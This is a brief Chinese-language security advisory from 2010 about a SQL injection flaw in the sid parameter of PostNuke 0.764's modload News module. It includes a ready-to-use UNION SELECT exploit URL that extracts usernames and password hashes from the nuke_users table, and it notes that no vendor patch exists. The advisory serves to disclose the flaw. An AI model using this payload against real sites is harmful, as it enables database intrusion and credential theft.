PostNuke内容管理系统modload模块sid参数SQL注入漏洞

来源:岁月联盟 编辑:猪蛋儿 时间:2010-05-11

影响版本:
PostNuke 0.764

程序介绍:
PostNuke是一款开放源码、开放开发的内容管理系统(CMS)。

漏洞分析:

PostNuke没有正确地过滤提交给modload模块的sid参数:
modules.php?op=modload&name=News&file=article&sid=[ SQL ] 
远程攻击者可以通过提交恶意查询请求执行SQL注入攻击,导致完全入侵后端服务器系统。


漏洞利用:
http://[site]/modules.php?op=modload&name=News&file=article&sid=1+and+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,concat(pn_uname,0x3a,pn_pass),16,17,18,19,20,21+from+nuke_users--

解决方案:
厂商补丁:
PostNuke
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.postnuke.com/